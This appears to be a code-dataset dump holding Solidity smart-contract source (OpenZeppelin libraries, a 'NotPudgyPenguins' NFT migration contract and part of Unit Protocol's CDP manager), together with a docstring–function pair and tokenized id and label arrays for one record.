function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721Receiver.sol";
/**
* @dev Implementation of the {IERC721Receiver} interface.
*
* Accepts all token transfers.
* Make sure the contract is able to use its token with {IERC721-safeTransferFrom}, {IERC721-approve} or {IERC721-setApprovalForAll}.
*/
contract ERC721Holder is IERC721Receiver {
/**
* @dev See {IERC721Receiver-onERC721Received}.
*
* Always returns `IERC721Receiver.onERC721Received.selector`.
*/
function onERC721Received(
address,
address,
uint256,
bytes memory
) public virtual override returns (bytes4) {
return this.onERC721Received.selector;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
interface IPGLD is IERC20 {
function mint(address account, uint256 amount) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./IPGLD.sol";
/**
* @title A new breed of Penguins
* @author Pengu Rescue Team
*/
contract NotPudgyPenguins is ERC721Enumerable, Ownable, ERC721Burnable, ReentrancyGuard, ERC721Holder {
using SafeERC20 for IPGLD;
address public immutable oldPenguins;
uint256 public constant PGLD_PER_PENGUIN = 10000 * 1 ether;
uint256 public constant LOCK_PERIOD_IN_DAYS = 90 days;
string public baseTokenURI;
uint256 public unlockTime;
IPGLD public immutable pgld;
constructor(
address oldPenguins_,
address dao,
string memory baseURI,
IPGLD pgld_
) Ownable() ERC721("NotPudgyPenguins", "NPP") {
require(oldPenguins_ != address(0), "0 address not allowed");
require(dao != address(0), "0 address not allowed");
setBaseURI(baseURI);
pgld = pgld_;
oldPenguins = oldPenguins_;
unlockTime = block.timestamp + LOCK_PERIOD_IN_DAYS;
transferOwnership(dao);
}
function totalMint() public view returns (uint256) {
return totalSupply();
}
/**
* @notice Mints not pudgy penguings in exchange for pudgy penguins
* @param ids Ids of the penguing to mint
*/
function mint(uint256[] calldata ids) external nonReentrant {
require(ids.length > 0, "Show us the penguins!");
for (uint256 i = 0; i < ids.length; i++) {
IERC721(oldPenguins).safeTransferFrom(msg.sender, address(this), ids[i]);
_mint(msg.sender, ids[i]);
}
uint256 proRataAmount = mintablePGLDAmountPerPenguin();
if (proRataAmount > 0) {
pgld.mint(msg.sender, proRataAmount * ids.length);
}
}
/**
* @notice Returns the amount of gold mintable if a penguing is minted now
*/
function mintablePGLDAmountPerPenguin() public view returns (uint256 proRataAmount) {
uint256 elapsed = block.timestamp >= unlockTime ? 0 : unlockTime - block.timestamp;
proRataAmount = (PGLD_PER_PENGUIN * elapsed) / LOCK_PERIOD_IN_DAYS;
}
/**
* @notice Redeems legacy penguings
* @dev Work only after lock period and until more than half have not migrated
* @param ids Ids of the penguing to redeem
*/
function redeem(uint256[] calldata ids) external nonReentrant {
require(block.timestamp > unlockTime && totalSupply() < 4445, "Gone with the wind");
for (uint256 i = 0; i < ids.length; i++) {
require(ownerOf(ids[i]) == msg.sender, "You're cheating");
_burn(ids[i]);
IERC721(oldPenguins).safeTransferFrom(address(this), msg.sender, ids[i]);
}
}
/**
* @notice Destroys legacy penguings if the migrations is successful
* @param ids Ids of the penguing to destroy
*/
function destroy(uint256[] calldata ids) external nonReentrant {
require(totalSupply() >= 4445, "Easy tiger, time will come");
for (uint256 i = 0; i < ids.length; i++) {
ERC721Burnable(oldPenguins).burn(ids[i]);
}
}
function _baseURI() internal view virtual override returns (string memory) {
return baseTokenURI;
}
function setBaseURI(string memory baseURI) public onlyOwner {
baseTokenURI = baseURI;
}
function walletOfOwner(address _owner) external view returns (uint256[] memory) {
uint256 tokenCount = balanceOf(_owner);
uint256[] memory tokensId = new uint256[](tokenCount);
for (uint256 i = 0; i < tokenCount; i++) {
tokensId[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokensId;
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721, ERC721Enumerable) {
super._beforeTokenTransfer(from, to, tokenId);
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721, ERC721Enumerable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
} | * @notice Destroys legacy penguings if the migrations is successful @param ids Ids of the penguing to destroy/ | function destroy(uint256[] calldata ids) external nonReentrant {
require(totalSupply() >= 4445, "Easy tiger, time will come");
for (uint256 i = 0; i < ids.length; i++) {
ERC721Burnable(oldPenguins).burn(ids[i]);
}
}
| 10,185,152 | [
1,
9378,
28599,
8866,
14264,
6891,
899,
309,
326,
9814,
353,
6873,
225,
3258,
29085,
434,
326,
14264,
6891,
310,
358,
5546,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
5546,
12,
11890,
5034,
8526,
745,
892,
3258,
13,
3903,
1661,
426,
8230,
970,
288,
203,
3639,
2583,
12,
4963,
3088,
1283,
1435,
1545,
1059,
6334,
25,
16,
315,
41,
15762,
268,
360,
264,
16,
813,
903,
12404,
8863,
203,
3639,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
3258,
18,
2469,
31,
277,
27245,
288,
203,
5411,
4232,
39,
27,
5340,
38,
321,
429,
12,
1673,
24251,
6891,
2679,
2934,
70,
321,
12,
2232,
63,
77,
19226,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: bsl-1.1
/*
Copyright 2020 Unit Protocol: Artem Zakharov ([email protected]).
*/
pragma solidity 0.7.6;
import './BaseCDPManager.sol';
import '../interfaces/IOracleRegistry.sol';
import '../interfaces/IOracleUsd.sol';
import '../interfaces/IWETH.sol';
import '../interfaces/IVault.sol';
import '../interfaces/ICDPRegistry.sol';
import '../interfaces/vault-managers/parameters/IVaultManagerParameters.sol';
import '../interfaces/IVaultParameters.sol';
import '../interfaces/IToken.sol';
import '../helpers/ReentrancyGuard.sol';
import '../helpers/SafeMath.sol';
/**
* @title CDPManager01
**/
contract CDPManager01 is BaseCDPManager {
using SafeMath for uint;
address payable public immutable WETH;
/**
* @param _vaultManagerParameters The address of the contract with Vault manager parameters
* @param _oracleRegistry The address of the oracle registry
* @param _cdpRegistry The address of the CDP registry
* @param _vaultManagerBorrowFeeParameters The address of the vault manager borrow fee parameters
**/
constructor(address _vaultManagerParameters, address _oracleRegistry, address _cdpRegistry, address _vaultManagerBorrowFeeParameters)
BaseCDPManager(_vaultManagerParameters, _oracleRegistry, _cdpRegistry, _vaultManagerBorrowFeeParameters)
{
WETH = IVault(IVaultParameters(IVaultManagerParameters(_vaultManagerParameters).vaultParameters()).vault()).weth();
}
// only accept ETH via fallback from the WETH contract
receive() external payable {
require(msg.sender == WETH, "Unit Protocol: RESTRICTED");
}
/**
* @notice Depositing tokens must be pre-approved to Vault address
* @notice Borrow fee in USDP tokens must be pre-approved to CDP manager address
* @notice position actually considered as spawned only when debt > 0
* @dev Deposits collateral and/or borrows USDP
* @param asset The address of the collateral
* @param assetAmount The amount of the collateral to deposit
* @param usdpAmount The amount of USDP token to borrow
**/
function join(address asset, uint assetAmount, uint usdpAmount) public nonReentrant checkpoint(asset, msg.sender) {
require(usdpAmount != 0 || assetAmount != 0, "Unit Protocol: USELESS_TX");
require(IToken(asset).decimals() <= 18, "Unit Protocol: NOT_SUPPORTED_DECIMALS");
if (usdpAmount == 0) {
vault.depositMain(asset, msg.sender, assetAmount);
} else {
_ensureOracle(asset);
bool spawned = vault.debts(asset, msg.sender) != 0;
if (!spawned) {
// spawn a position
vault.spawn(asset, msg.sender, oracleRegistry.oracleTypeByAsset(asset));
}
if (assetAmount != 0) {
vault.depositMain(asset, msg.sender, assetAmount);
}
// mint USDP to owner
vault.borrow(asset, msg.sender, usdpAmount);
_chargeBorrowFee(asset, msg.sender, usdpAmount);
// check collateralization
_ensurePositionCollateralization(asset, msg.sender);
}
// fire an event
emit Join(asset, msg.sender, assetAmount, usdpAmount);
}
/**
* @dev Deposits ETH and/or borrows USDP
* @param usdpAmount The amount of USDP token to borrow
**/
function join_Eth(uint usdpAmount) external payable {
if (msg.value != 0) {
IWETH(WETH).deposit{value: msg.value}();
require(IWETH(WETH).transfer(msg.sender, msg.value), "Unit Protocol: WETH_TRANSFER_FAILED");
}
join(WETH, msg.value, usdpAmount);
}
/**
* @notice Tx sender must have a sufficient USDP balance to pay the debt
* @dev Withdraws collateral and repays specified amount of debt
* @param asset The address of the collateral
* @param assetAmount The amount of the collateral to withdraw
* @param usdpAmount The amount of USDP to repay
**/
function exit(address asset, uint assetAmount, uint usdpAmount) public nonReentrant checkpoint(asset, msg.sender) returns (uint) {
// check usefulness of tx
require(assetAmount != 0 || usdpAmount != 0, "Unit Protocol: USELESS_TX");
uint debt = vault.debts(asset, msg.sender);
// catch full repayment
if (usdpAmount > debt) { usdpAmount = debt; }
if (assetAmount == 0) {
_repay(asset, msg.sender, usdpAmount);
} else {
if (debt == usdpAmount) {
vault.withdrawMain(asset, msg.sender, assetAmount);
if (usdpAmount != 0) {
_repay(asset, msg.sender, usdpAmount);
}
} else {
_ensureOracle(asset);
// withdraw collateral to the owner address
vault.withdrawMain(asset, msg.sender, assetAmount);
if (usdpAmount != 0) {
_repay(asset, msg.sender, usdpAmount);
}
vault.update(asset, msg.sender);
_ensurePositionCollateralization(asset, msg.sender);
}
}
// fire an event
emit Exit(asset, msg.sender, assetAmount, usdpAmount);
return usdpAmount;
}
/**
* @notice Repayment is the sum of the principal and interest
* @dev Withdraws collateral and repays specified amount of debt
* @param asset The address of the collateral
* @param assetAmount The amount of the collateral to withdraw
* @param repayment The target repayment amount
**/
function exit_targetRepayment(address asset, uint assetAmount, uint repayment) external returns (uint) {
uint usdpAmount = _calcPrincipal(asset, msg.sender, repayment);
return exit(asset, assetAmount, usdpAmount);
}
/**
* @notice Withdraws WETH and converts to ETH
* @param ethAmount ETH amount to withdraw
* @param usdpAmount The amount of USDP token to repay
**/
function exit_Eth(uint ethAmount, uint usdpAmount) public returns (uint) {
usdpAmount = exit(WETH, ethAmount, usdpAmount);
require(IWETH(WETH).transferFrom(msg.sender, address(this), ethAmount), "Unit Protocol: WETH_TRANSFER_FROM_FAILED");
IWETH(WETH).withdraw(ethAmount);
(bool success, ) = msg.sender.call{value:ethAmount}("");
require(success, "Unit Protocol: ETH_TRANSFER_FAILED");
return usdpAmount;
}
/**
* @notice Repayment is the sum of the principal and interest
* @notice Withdraws WETH and converts to ETH
* @param ethAmount ETH amount to withdraw
* @param repayment The target repayment amount
**/
function exit_Eth_targetRepayment(uint ethAmount, uint repayment) external returns (uint) {
uint usdpAmount = _calcPrincipal(WETH, msg.sender, repayment);
return exit_Eth(ethAmount, usdpAmount);
}
function _ensurePositionCollateralization(address asset, address owner) internal view {
// collateral value of the position in USD
uint usdValue_q112 = getCollateralUsdValue_q112(asset, owner);
// USD limit of the position
uint usdLimit = usdValue_q112 * vaultManagerParameters.initialCollateralRatio(asset) / Q112 / 100;
// revert if collateralization is not enough
require(vault.getTotalDebt(asset, owner) <= usdLimit, "Unit Protocol: UNDERCOLLATERALIZED");
}
// Liquidation Trigger
/**
* @dev Triggers liquidation of a position
* @param asset The address of the collateral token of a position
* @param owner The owner of the position
**/
function triggerLiquidation(address asset, address owner) external nonReentrant {
_ensureOracle(asset);
// USD value of the collateral
uint usdValue_q112 = getCollateralUsdValue_q112(asset, owner);
// reverts if a position is not liquidatable
require(_isLiquidatablePosition(asset, owner, usdValue_q112), "Unit Protocol: SAFE_POSITION");
uint liquidationDiscount_q112 = usdValue_q112.mul(
vaultManagerParameters.liquidationDiscount(asset)
).div(DENOMINATOR_1E5);
uint initialLiquidationPrice = usdValue_q112.sub(liquidationDiscount_q112).div(Q112);
// sends liquidation command to the Vault
vault.triggerLiquidation(asset, owner, initialLiquidationPrice);
// fire an liquidation event
emit LiquidationTriggered(asset, owner);
}
function getCollateralUsdValue_q112(address asset, address owner) public view returns (uint) {
return IOracleUsd(oracleRegistry.oracleByAsset(asset)).assetToUsd(asset, vault.collaterals(asset, owner));
}
function _ensureOracle(address asset) internal view {
uint oracleType = oracleRegistry.oracleTypeByAsset(asset);
require(oracleType != 0, "Unit Protocol: INVALID_ORACLE_TYPE");
address oracle = oracleRegistry.oracleByType(oracleType);
require(oracle != address(0), "Unit Protocol: DISABLED_ORACLE");
}
/**
* @dev Determines whether a position is liquidatable
* @param asset The address of the collateral
* @param owner The owner of the position
* @return boolean value, whether a position is liquidatable
**/
function isLiquidatablePosition(
address asset,
address owner
) public view returns (bool) {
uint usdValue_q112 = getCollateralUsdValue_q112(asset, owner);
return _isLiquidatablePosition(asset, owner, usdValue_q112);
}
/**
* @dev Calculates current utilization ratio
* @param asset The address of the collateral
* @param owner The owner of the position
* @return utilization ratio
**/
function utilizationRatio(
address asset,
address owner
) public view returns (uint) {
uint debt = vault.getTotalDebt(asset, owner);
if (debt == 0) return 0;
uint usdValue_q112 = getCollateralUsdValue_q112(asset, owner);
return debt.mul(100).mul(Q112).div(usdValue_q112);
}
}
// SPDX-License-Identifier: bsl-1.1
/*
Copyright 2021 Unit Protocol: Artem Zakharov ([email protected]).
*/
pragma solidity 0.7.6;
import "../interfaces/IVault.sol";
import '../interfaces/IVaultParameters.sol';
import "../interfaces/IOracleRegistry.sol";
import "../interfaces/ICDPRegistry.sol";
import '../interfaces/IToken.sol';
import "../interfaces/vault-managers/parameters/IVaultManagerParameters.sol";
import "../interfaces/vault-managers/parameters/IVaultManagerBorrowFeeParameters.sol";
import "../helpers/ReentrancyGuard.sol";
import '../helpers/TransferHelper.sol';
import "../helpers/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title BaseCDPManager
* @dev all common logic should be moved here in future
**/
abstract contract BaseCDPManager is ReentrancyGuard {
using SafeMath for uint;
IVault public immutable vault;
IVaultManagerParameters public immutable vaultManagerParameters;
IOracleRegistry public immutable oracleRegistry;
ICDPRegistry public immutable cdpRegistry;
IVaultManagerBorrowFeeParameters public immutable vaultManagerBorrowFeeParameters;
IERC20 public immutable usdp;
uint public constant Q112 = 2 ** 112;
uint public constant DENOMINATOR_1E5 = 1e5;
/**
* @dev Trigger when joins are happened
**/
event Join(address indexed asset, address indexed owner, uint main, uint usdp);
/**
* @dev Trigger when exits are happened
**/
event Exit(address indexed asset, address indexed owner, uint main, uint usdp);
/**
* @dev Trigger when liquidations are initiated
**/
event LiquidationTriggered(address indexed asset, address indexed owner);
modifier checkpoint(address asset, address owner) {
_;
cdpRegistry.checkpoint(asset, owner);
}
/**
* @param _vaultManagerParameters The address of the contract with Vault manager parameters
* @param _oracleRegistry The address of the oracle registry
* @param _cdpRegistry The address of the CDP registry
* @param _vaultManagerBorrowFeeParameters The address of the vault manager borrow fee parameters
**/
constructor(address _vaultManagerParameters, address _oracleRegistry, address _cdpRegistry, address _vaultManagerBorrowFeeParameters) {
require(
_vaultManagerParameters != address(0) &&
_oracleRegistry != address(0) &&
_cdpRegistry != address(0) &&
_vaultManagerBorrowFeeParameters != address(0),
"Unit Protocol: INVALID_ARGS"
);
vaultManagerParameters = IVaultManagerParameters(_vaultManagerParameters);
IVault vaultLocal = IVault(IVaultParameters(IVaultManagerParameters(_vaultManagerParameters).vaultParameters()).vault());
vault = vaultLocal;
oracleRegistry = IOracleRegistry(_oracleRegistry);
cdpRegistry = ICDPRegistry(_cdpRegistry);
vaultManagerBorrowFeeParameters = IVaultManagerBorrowFeeParameters(_vaultManagerBorrowFeeParameters);
usdp = IERC20(vaultLocal.usdp());
}
/**
* @notice Charge borrow fee if needed
*/
function _chargeBorrowFee(address asset, address user, uint usdpAmount) internal {
uint borrowFee = vaultManagerBorrowFeeParameters.calcBorrowFeeAmount(asset, usdpAmount);
if (borrowFee == 0) { // very small amount case
return;
}
// to fail with concrete reason, not with TRANSFER_FROM_FAILED from safeTransferFrom
require(usdp.allowance(user, address(this)) >= borrowFee, "Unit Protocol: BORROW_FEE_NOT_APPROVED");
TransferHelper.safeTransferFrom(
address(usdp),
user,
vaultManagerBorrowFeeParameters.feeReceiver(),
borrowFee
);
}
// decreases debt
function _repay(address asset, address owner, uint usdpAmount) internal {
uint fee = vault.calculateFee(asset, owner, usdpAmount);
vault.chargeFee(vault.usdp(), owner, fee);
// burn USDP from the owner's balance
uint debtAfter = vault.repay(asset, owner, usdpAmount);
if (debtAfter == 0) {
// clear unused storage
vault.destroy(asset, owner);
}
}
/**
* @dev Calculates liquidation price
* @param asset The address of the collateral
* @param owner The owner of the position
* @return Q112-encoded liquidation price
**/
function liquidationPrice_q112(
address asset,
address owner
) external view returns (uint) {
uint debt = vault.getTotalDebt(asset, owner);
if (debt == 0) return uint(-1);
uint collateralLiqPrice = debt.mul(100).mul(Q112).div(vaultManagerParameters.liquidationRatio(asset));
require(IToken(asset).decimals() <= 18, "Unit Protocol: NOT_SUPPORTED_DECIMALS");
return collateralLiqPrice / vault.collaterals(asset, owner) / 10 ** (18 - IToken(asset).decimals());
}
function _calcPrincipal(address asset, address owner, uint repayment) internal view returns (uint) {
uint fee = vault.stabilityFee(asset, owner) * (block.timestamp - vault.lastUpdate(asset, owner)) / 365 days;
return repayment * DENOMINATOR_1E5 / (DENOMINATOR_1E5 + fee);
}
/**
* @dev Determines whether a position is liquidatable
* @param asset The address of the collateral
* @param owner The owner of the position
* @param usdValue_q112 Q112-encoded USD value of the collateral
* @return boolean value, whether a position is liquidatable
**/
